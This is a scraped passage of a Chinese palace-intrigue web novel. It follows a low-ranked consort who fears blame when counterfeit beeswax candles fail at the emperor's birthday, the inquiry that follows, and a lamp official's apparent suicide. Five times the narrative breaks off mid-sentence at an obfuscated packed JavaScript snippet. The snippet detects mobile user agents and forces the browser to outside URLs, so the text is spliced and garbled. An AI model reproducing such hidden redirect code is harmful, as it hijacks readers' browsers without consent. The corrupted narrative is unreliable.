“可不是,阿珏生得真壮实。”柳贤妃笑着附和,大公主萧珈桐眼观鼻鼻观心,举止端庄地品着羹汤。 殿上丝乐飘扬,舞姬们舞姿翩翩,众人其乐融融,仿佛无事发生。 江舲手中握着酒盏,里面的酒水倾洒在衣衫上,她毫无所觉,心神不宁四下张望。 丹陛上换过的蜂蜡,再次熄灭了一支。大殿东西两侧,分别熄灭了三支,四支。 伺候的宫女们忙上前,剪掉发黑的灯芯,再次点亮。 没过多时,烛火摇曳着,再次熄灭。 灯火忽明忽暗,晃得江舲的心跟着起起伏伏,惶恐不安。 约莫小半个时辰,筵席便匆匆结束,元明帝起身离开。众嫔妃起身恭送,随后结伴回宫。 江舲随着大家走出大殿,寒风带着隐隐的湿润铺面。不知何时,天下起了蒙蒙细雨。 灯笼泛着昏黄的光,庄严的大殿,显得格外阴森可怖。 回到繁英阁,江舲在榻上坐下,怔怔看着灯烛发呆。文涓奉了茶水进屋,道:“美人,先吃盏热茶暖暖身子。” 今晚文涓与青纹当差,伺候她前去揽月殿。江舲猛然看向文涓,道:“以前蜂蜡可有点着点着,便熄灭之事发生?” 文涓微微一怔,拧眉思索,道:“若是灯芯不好,常有熄灭之时。只都是些石蜡,乌桕蜡。送进宫的蜂蜡白蜡,灯芯草都要经过精挑细选,除去风大,断不会那般容易就灭了。” 以前在撷芳阁,尙只有白蜡的时候,江舲从不曾遇到过,白蜡无缘无故熄灭的情形。 心存的最后一丝侥幸,被兜头浇灭。 偏生,在元明帝生辰的时候,殿上的蜂蜡赶着灭了。 即便只是赶了巧,人死灯灭,这个预兆可不好,元明帝不曾当场发怒,定不会就此揭过。 虽接过灯烛这一摊子事才几天,她毕竟担着这个官事的名头,难辞其咎。 她在后宫中本寂寂无闻,无权无势。突然一下被元明帝推到众人面前,最适合拿来背黑锅。 蜂蜡要不被动了手脚,要不送进宫时就有问题。 若蜂蜡被动了手脚,只会在尙仪局领去之后,大殿掌灯之前。 尙仪局由赵德妃与林贵妃一起掌管,揽月殿除去尙仪局的宫女做活,还有内侍内省的内侍一并在。 虽有当差的名录可查,进进出出,人员到底杂乱。究竟是谁,只怕一时难以查清。 赵德妃才将灯烛的差使交出来,就算是江舲,也不会这般火急火燎动手。除显得太过刻意,在元明帝生辰时动手,会被他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16005649|177287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并迁怒进去。 若是送进宫的蜂蜡有问题,林贵妃虽与赵德妃不和,打算布局算计她。灯烛是林氏的买卖,林贵妃不会让其暴露在元明帝面前。 不过,江舲已经猜错了一次赵德妃的打算,不敢再随便下决断。 她唯一能断定的一点,蜂蜡在元明帝眼前熄灭,是为了激怒他。 激怒元明帝之后,目的何在,究竟是要对付谁。 任凭江舲绞尽脑汁,如何都想不明,看不清。 “文涓。”江舲惊慌失措四望,阿箬与芳荷已经下了差,青纹在净房忙碌,压低声音叫了声。 文涓听到江舲的声音都在发颤,她赶忙上前一步,小声道:“美人可是担心大殿上蜂蜡熄灭之事?” 身边伺候的几人,惟有文涓勉强能得江舲信任。她啃着手指,重重地点头,顾不得其他,病急乱投医:“你以前在殿前当差,可能前去打听一下,皇上可曾发怒?” 窥探御前,若被抓住的话,乃是抄家砍头的大罪。说完之后,江舲就后悔了,着急地摆手:“不不不,你什么都没听见。” 文涓顿了下,心中一暖,忙安慰江舲道:“美人无需着急,若是皇上动怒,定会差个一清二楚。美人清清白白,查也不怕。” 江舲嗯了声,让文涓退下,望着窗棂外的黑暗,怔怔失神。 夜色浓得化不开,重重宫殿笼罩在细雨中,如平静的湖面,安宁静谧。 突然,门外传来急促的脚步声,文涓神色凝重进屋,道:“垂拱殿来人,宣美人前去。美人莫怕,奴婢在殿前多少认识几人,这就陪着美人一道前往。” 江舲心提到嗓子眼,深一脚浅一脚来到垂拱殿后殿文德殿。 文德殿是平时元明帝上朝下朝前停留歇息之处,亦会在此见朝臣处理朝政。 不知为何,殿内只点着两盏桐枝灯,黯淡的烛光荧荧,威仪肃穆。 元明帝阴沉着脸坐在宝座上,林贵妃赵德妃已经到来,垂首肃立在殿中央。 柳贤妃赵嫔李婕妤等,随着前后脚进了殿。江舲的心,顷刻间沉到谷底。 21.第二十一章 大殿安静得落针可闻,黄梁端着托盘走上前,托盘中放着蜂蜡。他的步伐极轻,每一步,走像是踩在众人心上。 元明帝面若寒霜,厉声道:“朕的生辰,竟然有人盼着朕死!” 敢诅咒天子死,与造反无异。元明帝的话一出,众人皆噤若寒蝉。 雨夜的文德殿,烛光昏暗,寒意浸人。 江舲冷汗津津,心道果然蜂蜡熄灭,会引起元明帝震怒。 他回到垂拱殿,便将掌管后宫以及高位嫔妃都叫了来,怕是不查个天翻地覆,不会善罢甘休。 元明帝掀起眼皮,微不可查朝江舲扫了一眼,抬手取了一只蜂蜡,扬手朝地上一扔:“这便是揽月殿上所点的蜂蜡!” 手腕粗的蜂蜡,“啪”地一声在地上裂开,滚了几滚,落在了林贵妃面前。 林贵妃低眉敛目,缓缓跪下,捡起蜂蜡在面前仔细端详,指尖捻过之后,凑近鼻前闻了闻。 “皇上,臣妾虽在京城长大,林氏祖籍在蜀州,自幼熟识各种蜡。上好的蜂蜡,色与蜂蜜极为相似,做成蜡之后,柔软有韧性。点亮时,闻之会有蜜糖的香气。白蜡的气味极淡,一般呈白色,亦或缃色,蜡偏硬。蜂蜡燃烧快,白蜡则慢些。进贡的蜂蜡中,混合了番邦最上乘的乳香,气味甘甜醇厚,伴着一股淡淡的辛辣味。最上乘的乳香为拣香,瓶香次之。” 林贵妃婉婉到来,声音平静,言简意赅讲明蜂蜡与白蜡的区别。 说到这里,她举着元明帝扔来的蜂蜡,话锋一转,肯定地道:“这支蜂蜡,中间的芯子所用为白蜡,仅仅在外层包裹着一层蜂蜡。所用香料,乃是用橘皮研磨之后,添加了些乳香碎末。蜂蜡燃烧慢,虫蜡快些。加之天气寒凉,虫蜡在灯芯周围易形成硬壳,火苗便忽大忽小。烛内灯芯草少用了几股,烛火最终熄灭。” 元明帝冷冷道:“宫中进贡的灯烛,乃是林氏的买卖!” 林贵妃垂下眼眸,道:“林氏若要鱼目混珠赚那黑心钱,断不会做得这般明显。若换做臣妾,会用更多的蜂蜡,多添加些乳香末,灯芯草多用几股,天气炎热时再送进宫。如此一来,便与寻常进贡的蜂蜡,几乎无异。” 江舲佩服得五体投地,林贵妃回应得体,有理有据。在关乎着家族,生死面前,仅这份沉着冷静,她就是拍马都比不上。 照着林贵妃的未尽之言,林氏不会蠢到在元明帝生辰时送进来假蜂蜡。 而且她的话,比起直言辩解更有说服力,蜂蜡为假之事,并非林氏主使。 若进贡的蜂蜡并无问题,那便是在宫中出了差错。除去库房,便是当差的尙仪局出了差错,或在揽月殿上被人动了手脚。 赵德妃与林贵妃一同掌管尚仪局,既然林氏无辜,赵德妃便可疑了。 元明帝目光沉沉扫过来,赵德妃上前一步,跟着屈膝跪下,声音不高不低,清楚地道:“皇上,臣妾对灯烛一事,不及贵妃娘娘了若指掌。臣妾不懂如何做假蜂蜡,对香料知之甚少。臣妾管着灯烛处这些年,从未发现灯烛有任何不妥之处。皇上曾教导臣妾,不懂之事,要不耻下问,臣妾一直记得。假蜂蜡这般明显之事,臣妾便是再愚钝不堪,也决计不会去做。” 与林贵妃一样,赵德妃不哭不闹,她讲道理,摆事实,有理有据洗清嫌疑。 且赵德妃之言,还替林贵妃以及林氏撇清了关系。以前林氏进贡的蜂蜡从未出错,却在生辰时出事,实在是太过蹊跷。 她们两人皆与此无关,余下来,便是库房出了差错。 江舲头皮发麻,心一下提到嗓子眼,脑中乱七八糟,不断回荡着:“死了死了,真是跳进黄河都洗不清。这个破差使,没钱拿,还要填进一条命去!” 元明帝眉头蹙起,被江舲喊得耳朵都疼。他压根没怀疑过她,毕竟她懒惰,不求上进,成日除了吃,便是睡。以她的本事,在短短时日内,决计做不到。 “皇上,臣妾冤枉。臣妾恳请彻查!”江舲忙跪下来,惨白着脸,梗着脖子喊冤。 面对着众人的局促,让江舲浑身控制不住变得僵硬,话也结结巴巴:“臣妾不懂什么蜂蜡,白蜡,连账本都没看完,库房那边也不熟悉。臣妾刚被皇上封为美人,又住进了繁英阁......皇上是臣妾的天,臣妾只有感激不尽,盼着皇上能寿与天齐......” 元明帝实在听不下去了,抬手不客气地打断了她:“江美人,你闭嘴!” 她不说还好,被她一提醒,便情不自禁想起,连磕头谢恩都没等到的气愤。不仅如此,她还在背后编排骂他,生辰只送了个破荷包! 他重重一拍御案,恼怒地道:“朕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16013180|177287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定会彻查,要是查出来,朕要灭他九族!” 江舲呆呆看着元明帝,脸色愈发惨白,止不住地胡思乱想:“他是什么意思,连辩解都不允许,要直接屈打成招,抄家灭九族了?要是凑不齐九族呢?既然是他的后妃,皇族算吗?” 元明帝暗自瞪了眼江舲,朝柳贤妃她们看去:“你们有何话说?” 柳贤妃双膝跪地,恭敬地答道:“臣妾一向不清楚灯烛上的事情,只臣妾与赵德妃一并辅佐林贵妃管着宫务,操持筵席。臣妾责无旁贷,请皇上责罚。” 赵嫔与李婕妤等宫女子,并未领差使,一并跪在地上,接连说道:“臣妾请皇上彻查,还臣妾一个清白。” 这时,林贵妃恳切地道:“皇上,林氏因为恰好身在蜀州,负责了宫中的灯烛。这些年来,林氏一直如履薄冰,生怕出了差错。谁曾想,还是出了这般大的纰漏。臣妾并非在替林氏叫屈,灯烛到底是林氏所进贡,该有所担当才是。臣妾与赵德妃管着尙仪局之事,更不得推脱。臣妾会写信回蜀州,劝阻林氏族人。自此以后,不再插手灯烛之事。蜀州做灯烛买卖的商户众多,皇上另选几家亦一样。” 赵德妃抬眼望向元明帝,杏眸微微泛红,如往常般倔强倨傲。声音却带着哽咽,显得很是委屈道:“臣妾没管好尙仪局,让皇上生辰都不得安宁。臣妾有罪,请皇上责罚。” 她俯身磕头下去,双肩颤抖,似乎在极力隐忍。片刻后,再抬起头,眸中水光莹莹。 “臣妾恳请皇上,让臣妾彻查,查出背后主谋,还臣妾一个清白。臣妾就三脚猫功夫,早该将管着的尙仪局交出来。不拘贵妃娘娘,贤妃姐姐,其他姐妹们,都比臣妾有本事,由她们管着,方不负皇上的厚爱。” 江舲能断定,两人并非幕后主使。 林贵妃毫不犹豫,将进贡灯烛的买卖让出来,断尾求生。 赵德妃亦被打得措手不及,主动认错领罚。让出尙仪局的权力,争取去查案,免得陷入被动。 然,既与她们无关,却都一并干脆利落让权让利。想必是经不起彻查,选择舍卒保车。 如此一来,便是螳螂捕蝉,黄雀在后。 江舲心中惶惶,将柳贤妃赵嫔等人皆想了一遍。 她毫无头绪,根本无从得知,究竟谁是藏在背后的黄雀! 22.第二十二章 寒风伴着密雨如织,灯烛的光在深深夜色中,微弱如夏夜的萤火。黑暗劈天盖地笼罩下来,如山般压在心头。 “娘娘,身子要紧啊,奴婢先伺候娘娘更衣吧。”许嬷嬷捧着干爽的衣衫上前,忧心忡忡劝道。 从文德殿回到重华宫,夹道风急,吹来雨珠溅得林贵妃衣衫濡湿。她回来之后,先去看过萧允瑞,便坐在书案前,铺纸疾书。 绣云立在一旁磨墨伺候,暗中朝许嬷嬷使着眼色,让她别做声。 文德殿内发生之事,许嬷嬷与绣云皆在外伺候,不知就里。林贵妃出来后一言不发,许嬷嬷想着揽月殿的情形,如何能放得下心。 林贵妃做事专注,一头扎进去后,任由外面如何纷纷扰扰,向来都彷若未闻。 许嬷嬷只能按捺住焦急,不安地立在那里。手上的锦衫,被她不知不觉拽紧,皱成一团。 林贵妃放下笔,等着纸上的墨汁干,朝许嬷嬷看来,“嬷嬷,衣衫给我吧。” 许嬷嬷赶忙上前,这才发现衣衫皱了,忙自责地道:“奴婢该死,奴婢这就去重新取一身来。” “罢了,给我吧。”林贵妃神色平静,伸手拿过衣衫,随意披在身上。 生养萧允瑞时颇吃了些苦,身子亏损得厉害。这些年肚皮未再见动静。方到初冬时节,穿上厚袄仍手脚冰凉。 墨干了,林贵妃拿起纸折着,淡淡地道:“别再提死字,无论该不该死,都莫要提,只看着他人死。” “是。奴婢该......”许嬷嬷躬身赔不是,“死”字习惯性到了嘴边,察觉到不妥,慌忙咽了回去。 林贵妃目光冰凉,从许嬷嬷脸上掠过,对绣云道:“融蜡。” 绣云取了蜂蜡放在碟子中用火烤化,蜜香伴着柏香萦绕。 这是林贵妃自己做的蜜蜡,她喜欢柏子香,在蜂蜡中添了进去。 蜂蜡逐渐化成烛泪,林贵妃将纸塞进信封中,拿了银匙蘸蜡密封好,交给绣云,叮嘱道:“你拿去,要亲自交到阿爹手上。” 绣云接过信,道:“奴婢这就去。” “待明早开宫门之后再去。”林贵妃道。 绣云拿着信停了下来,神色欲言又止。许嬷嬷收拾着碟中余下的蜡,闻言手一顿,实在忍不住问道:“娘娘,可是出大事了?” 元明帝当时并未多言,只让大家退下。林贵妃猜他不会善罢甘休,会一查到底。林氏既已将灯油交出来,他也不会牵连太广。 林贵妃顿了下,道:“算不得大事。你算计我,我算计你而已,只需狠狠打回去便是。” “娘娘,可是那边?”许嬷嬷犹豫着,朝福庆宫的方向指了指。 林贵妃轻轻摇头,“不是她。赵氏破落户,姐妹俩都送进宫,改换门楣。赵氏大门是改了,门前多了两只石狮子。破落户,终究是破落户,从外看是朱门,内里烂絮一堆。要紧着充门面,缺银子缺得眼珠子都滴血。一年下来,宫中的灯油钱,顶天不过四五万两。她将灯烛处交出来,意不在灯烛,乃是盯着了林氏的布匹。” 蜀州产蚕桑,绸锦天下闻名。除去灯烛,宫中的绸锦,大半来自蜀州林氏。 大胤除去蜀州,其他好些州府养蚕桑,尤其是平江府的绸锦,并不输于蜀州。因着林氏,宫中始终是蜀州的锦绸最多。 “宫中一年所用布匹,仅绸锦这些,差不多在三十万两左右。高老夫人娘家侄儿前些时日定了门亲,女方孙氏出身低,祖家在平江府做布匹买卖。我估摸着,她打算借孙家打出皇商的名号,一举夺下夺下整个平江府的布匹买卖。皇宫中这一块,只占着小头,大头部分,在边关的榷场,与番邦的交易往来。” 许嬷嬷听得一脸怔松,绣云若有所思,道:“娘娘,那边可是未曾准备好,也被打了个措手不及?” 林贵妃道:“就这么几天的功夫,灯烛出事,哪能就怪到繁英阁头上去?繁英阁的江美人,胆小木讷,明眼人一看,就知道她不是那块料。她也不敢在这时往林氏头上推,若查的话,以前她掌灯烛时,偌大的后宫,可没几处用上了蜂蜡。” “娘娘,那究竟是谁在背后捣鬼?”许嬷嬷不解问道。 “我也不知。”林贵妃沉默了下,如实道:“这后宫之中,无论有仇没仇,嫉恨重华宫的多了去。冬夜漫长寒冷,有人撑不住,便疯了。” * 赵德妃脸上挂着笑意,眼神冷若冰霜,一瞬不瞬望着赵嫔:“阿娘前些天进宫来,与我说了半天闲话。阿娘最怕的就是过年过节,京城筵席成天不断,迎来送往。只酒水就令人头疼,休说迎来送往。京城的大家讲究脸面排场,东家送来的礼,若是拿去送给西家, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16022174|177287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旦被人得知,要被耻笑好些年。” 高老夫人说这些话,是为了诉苦。虽说宫中时有赏赐,御赐之物皆贵重,不敢随意拿去变卖。赵氏兄弟的官职不高,俸禄低。府中几间铺子买卖一般,田庄收益有数。七七八八加起来,难以支撑偌大的花销。 “妹妹贵为德妃娘娘,谁敢耻笑赵氏。”赵嫔衣袖下的手拽紧,不咸不淡地回道。 赵德妃呵呵一笑,神色隐隐狰狞,“姐姐,我觉着,你真真是疯了。姐姐啊,赵婉滢,你也姓赵呢!” “娘娘这句话说得真是奇怪!”赵嫔眸中亦浮起怒意,讥讽地道:“我是姓赵,我可没疯。娘娘也姓赵,莫非娘娘也疯了不成?” 赵德妃胸口起伏着,死死盯着赵嫔,道:“姐姐要记住了,赵氏若好,姐姐会跟着好。赵氏若不好,姐姐也躲不过,休想要独善其身!” “赵氏若好,都是德妃娘娘的脸面。赵氏若不好,我这个小小的嫔,确实难以独善其身。” 赵嫔语气嘲讽,她微微一笑,道:“娘娘向来算无遗策,如何就看不清这点,算不清楚了?” 赵德妃不说话,眼神如刀,就那么直直看着赵嫔。 姐妹俩呼吸相闻,远远望去,仿佛在亲亲密密说些闺阁女子的私密话。 过了一阵,赵德妃仿若无事发声,道:“时辰不早,姐姐早些回去歇着吧。” 赵嫔抿了抿唇,一语不发起身屈膝,施施然走了出去。 黄嬷嬷眉头拧紧,上前收拾着茶盏,轻声道:“娘娘,不是赵嫔。” “不是她。她恨归恨,到底没真疯。” 赵德妃始终气未平,微微闭了闭眼,复又睁开,勉强恢复了清明,厉声道:“总有水落石出的那天,我定不会放过她!” 天气太冷,回到繁英阁之后,江舲的裙摆湿了大半。她顾不得其他,赶紧更衣洗漱。 被褥温软,江舲裹在身上,舒服地打了个哈欠。累了一天,困得眼皮都睁不开,脑中不断闪过今日之事。 元明帝将她们叫去,问了几句话,最终也没个说法。 不过她估计,此事没完。 卧房安静,能听到瓦当上的雨声沙沙。 江舲失神听着,不知这个冬夜,有多少人难以入眠。 待明朝,会将掀起多少血雨腥风! 23.第二十三章 雨下得没完没了,停一阵之后,又迫不及待飘飘洒洒,清晨阴沉得仿若黄昏。 圆缸的睡莲叶子早已枯萎,粗使的宫女内侍趁着雨停,赶紧移到屋中去,待来年春暖花开时再栽种出来。 江舲拢紧风帽,挡住风扑面凛冽的寒意,怅然望着天空。 京城真正的冬日,不给人准备的功夫,一夜之间忽然来临。 “美人,外面冷,进屋去吧。”文涓犹豫了下,上前劝道。 尚未到开炉节,份例中不见炭,屋中昏暗阴冷。 江舲摇摇头,坐在石栏上,凭栏发呆。 阿箬在屋外做针线,手冷,她做上几针,便停下来朝着手哈气。她看着江舲展不开的眉,挪着针笸箩过来,愤愤道:“美人管着灯烛处才几天,就出了这等大事。肯定是有人嫉妒,背后暗地使坏陷害。美人一定不能就这般算了,否则,还以为美人好欺负呢!” 江舲心情烦躁,本不打算理会阿箬,闻言她笑了下,“你认为该怎么做?” 阿箬一愣,江舲问道:“你既然称,不能就这般算了,你认为要如何做,才能显得不好欺负?” “人善被人欺,反正,反正......”阿箬吭哧着,脑中不断想着法子。 要用品级压人,后宫中比她品级高的嫔妃比比皆是。要比宠爱,江舲已许久未侍寝。比家世,比子嗣,比后宫的人手势力,无论哪一种,江舲都比不过。 阿箬只觉着,若是换做她,被欺负冤枉的话,肯定会生气。她哪知究竟该如何办,半晌都说不出个所以然。 “阿箬,说闲话气话最容易。” 江舲正当情绪低落,说起话来,尖锐而不留情面。 “若你真有本事,早就能如你所愿,升做女官了。可惜,你进宫这么多年,还只是无品级的小宫女。你做不了大事,甚至,你连坏人都做不了。” 阿箬轻咬着唇,委屈地耷拉着头,不敢出声反驳,却又颇为不服气。 做好人难,做坏人也不容易。并非人人都有杀人放火的胆量,有些人便是坏,最终只能混个跑腿出力挡刀的地痞小喽啰,毕竟老大就只得那么几个。 认清且承认自己平庸,愚钝,打破幻象直面自己,不易且痛苦。 江舲瞧着阿箬的反应,顿觉着意兴阑珊。她将芳荷文涓青纹几人都叫了来,道:“你们都知晓,最近宫中出了些事。记住了,定要谨言慎行,不该听的,别去乱打听。不该说的,别多嘴多舌。自作聪明只能害了自己,到时若闯了祸,我救不了你们,是生是死,各安天命。” 几人难得见到江舲如此严肃,连忙齐齐应下。 搬来繁英阁也有好些时日,文涓青纹到了跟前当差,江舲从未管过几人。她沉吟片刻,道:“以后我身边的事,就交由文涓统领,你们三人听她的安排。” 文涓一愣,渐渐目露惊喜。其他几人则颇为意外。芳荷阿箬难掩失望,青纹倒神色淡定,恭敬应是。 宫女的月俸品级,都由尚书内省钦定。即便是林贵妃,也不能随便发话让她们晋升。 得宠嫔妃身边亲近的宫女,平时能经常得到赏赐,底下的人捧着敬着,日子过得比不得宠的嫔妃还要舒适。 江舲的品级低,在她身边伺候的宫女,按照规矩皆无品级。江舲无法直接替文涓升等,以她的俸禄,也随手打赏不起。 做多错多,劳心劳力,月例却不变。如今江舲接手的烫手山芋灯烛处,与文涓面临一样的情形。 江舲本就一肚皮怨气,肯定不会让文涓吃亏。她琢磨了下,打算每月先拿出二钱银子补贴文涓。待看她的表现,再酌情调整。 江舲对文涓道:“阁中其他的粗使,且交由你一并看着。你先去安排大家当值,一个月内,保证大家能有四天的时日歇息。不当值之人,若要出去,必须提前请示,且结伴前往,不得单独行动。” 文涓忙应下,道:“美人放心,奴婢一定好好当差,不会辜负美人的看重。” 江舲打心底盼着,文涓真能如她所言那般,不负所望。她不喜亦不擅长画饼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16025994|177287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只道:“你们去忙吧。” 文涓招呼她们几人退下,江舲在廊檐下站了会,天上又开始飘起雨丝,外面实在太冷,转身回屋。 刚在榻上躺下,文涓掀帘进屋,道:“美人,库房那边来了人,说是黄大伴与宫正司的宋司正一起到了库房。陈尙宫得信已经赶去了,美人可要去一趟?” 黄梁与宋司正前去库房,定是为了查案。江舲顿时翻身坐起,趿拉上鞋子就朝外走:“你与阿箬随我去一趟。” 文涓赶忙取了风帽披在江舲身上,道:“美人别急,外面下着雨,等奴婢去拿雨伞。” 江舲点点头,文涓奔出去叫了阿箬,取来雨伞木屐,穿戴好之后赶往库房。 黄梁与宋司正在库房值房,叫了灯烛处的宫女在问话,陈尚宫则在门外等着。见到江舲前来,陈尙宫上前见礼:“美人来了。” 江舲朝她颔首,顺眼打量过去。陈尚宫眼底一圈青色,脸色泛黄,像是夜里没睡好,神色萎靡。 内侍进屋去回禀了黄梁,他很快与宋司正走了出来,抬手道:“美人来了,奴婢与宋司正奉皇上的命,前来库房找当值的宫女问话。皇上有旨,不得惊动美人,奴婢便未前来请示美人。 她名义上管着灯烛处,黄梁与宋司正倘若只随便找当值的宫女问话,至少要知会她与陈尙宫一声。 江舲心微微沉了下去,勉强克制住不安,道:“既然是皇上的命令,你们照旨办差就是。” 黄梁道是,他抬头朝外看去,皱眉对内侍道:“方司灯怎地还没来,你去催促一声。” 内侍赶忙前去寻方司灯,方奔到大门口,便与先前去找方司灯的内侍迎面相遇。 那人神色紧张,不知说了句什么,他神色大变,两人一起跑了回来。 黄梁听到动静出来,内侍喘着气,压低声音道:“黄大伴,方司灯在直舍,早已没气,身子都僵硬了。” 江舲故意靠得近偷听,内侍的话传进耳内,她脸色大变,失声道:“什么?方司灯死了?!” 24.第二十四章 直舍与库房隔着一条夹道,房舍中住着灯烛处与尚寝局其他司的宫女。方司灯因为是女官,单独住在靠西侧的小屋。 灯烛处的宫女们大多都在当值,其他司夜间当值的宫女,正在直舍歇息,听到出事后,纷纷出来看究竟。 宋宫正眉头皱起,呵斥道:“不得乱走动打探!” 宫女们忌惮宫正司,见状赶忙回了屋。黄梁神色迟疑,对脸色苍白立在门口的江舲道:“此处污秽,江美人请莫要靠近。容奴婢与宋公正前去查看。” 江舲哦了声,往后退了两步,双眼仍一瞬不瞬朝屋中盯去。 房舍狭小,正对们便是床榻,床帏胡乱地挂在帐钩上。 方司灯身着女官的青灰衫裙,发髻整齐,她侧身朝着门的方向躺着,身子蜷缩成一团。 相处时日并不长,江舲不禁有些恍惚。 两人昨日上午还见过面,她清秀的脸庞上,始终挂着盈盈笑意。不过朝夕之间,她便与天气般,身上再没了热意,成了冰冷的尸首。 宋宫正与黄梁带着宫女内侍进了屋,几人围在一起,挡住了江舲的视线。 阿箬想着先前江舲的训斥,那点委屈与不服气,在此时早已消失殆尽。直舍阴冷潮湿,她冷得浑身都好似没了知觉,缩着脖子不敢上前。 屋内黄梁宋宫正他们在商讨方司灯的死因,文涓一边听着,不时朝江舲看去。她担心不已,唤了眼睛发直的江舲一声:“美人。” 江舲恍若未闻,文涓忙再唤了一声,她回过神,愣愣道:“何事?” 文涓难掩担忧,小声道:“黄大伴宋宫正他们在说,方司灯身上并无其他的伤痕,看似像是吞金自尽。” 直舍白天黑夜都有人,房舍一间挨着一间。若是方司灯是遭人杀害,肯定会发出动静,被其他宫女发现。 蜂蜡之事,照如今的情形看来,应当与方司灯脱不了干系。 能在宫中做到六品女官,只靠着吃苦远远不够,必须聪慧机灵。方司灯正当年轻,能做到这个位置极为不易。她能舍弃性命,背后应当有比她性命前程还重要的东西。 雨停了,天空依然阴沉沉。青色的屋顶,一重又一重,与天连成一片。 江舲没有做声,方司灯沉着冷静,与痛楚扭曲的脸,在面前不断闪现。她胸口好像塞着一团乱麻,气上不来,下不去,难受得想吐。 这是她初次直面尸首,让她彻彻底底,无比真实地体会到,她身在宫斗书中的后宫。 黄梁与宋宫正先后走了出来,前去找直舍的宫女们问话。有宫女留着在屋中收拾方司灯的贴身之物,顺手用被褥,将她卷在了里面。 粗使内侍进屋,将被褥裹着的尸首抬了出去。垂落在被褥外脚上的绣鞋,从门口闪过,很快消失不见。 没多时便问完话,宋宫正道:“美人,方司灯从昨日回到直舍之后,便没再出门。临近房舍的宫女,亦未发现异常,更未听到她呼救,或者吵嚷打斗声。屋中的东西不曾动过,方司灯身上衣衫齐整。奴婢与黄大伴都认为,她是自尽。” 黄梁跟着道:“蜂蜡之事,皇上下旨彻查。只怕她这是自知逃不过,一死了之,还能留个全尸。” “为何?”江舲问道。 黄梁一时没反应过来,江舲紧接着道:“为何?方司灯为何要做这些,她为何要打蜂蜡的主意?她难道不清楚,皇上生辰时,大殿上的蜡烛熄灭,会被砍头抄家。” 宋宫正蹙眉不语,黄梁赔笑道:“江美人,方司灯为何会冒砍头抄家之罪,奴婢一时也无从得知。” 江舲反应过来,陈尙宫此时人不在,尙寝宫以及她都有嫌疑,应当避嫌才是。 “黄大伴,我坦坦荡荡,所以不怕。我盼着你们能彻查,查个水落石出。方司灯不会无缘无故动蜂蜡,她是被威胁,还是被利诱,总会有个缘由。” 江舲惨笑一声,趁机将差使胡乱丢了回去:“灯烛处的差使,我现在应当避嫌,也不该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16031255|177287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管了。你们若要找我,我就在繁英阁。”说罢,她便走下台阶,头也不回朝外走去。 黄梁与宋宫正对视一眼,赶忙道:“我先回去跟皇上回禀,你再仔细查查,别错漏了。” 宋宫正点头应下,两人分头去忙碌。 急匆匆回到繁英阁,江舲一头扎进屋,朝榻上倒去。文涓以为她吓着了,忙指挥阿箬青纹她们:“美人身上的衣衫鞋袜都湿了,快去打水,伺候美人更洗。午饭怕是凉了,快用热水温着。” 江舲趴在榻上一动不动,文涓看得着急,温声劝道:“奴婢以前在御前当差时,从来不敢躲懒。黄大伴心细如发,宋宫正严厉,眼里容不得沙子。要是被她们发现,免不了一顿责罚。美人放心,方司灯与美人来往不多,并无私交。美人放心,黄大伴与宋宫正他们不会查到美人头上来。” “嗯。”江舲瓮声瓮气答了声,撑着缓缓坐起身,闭眼深深呼出了口气。 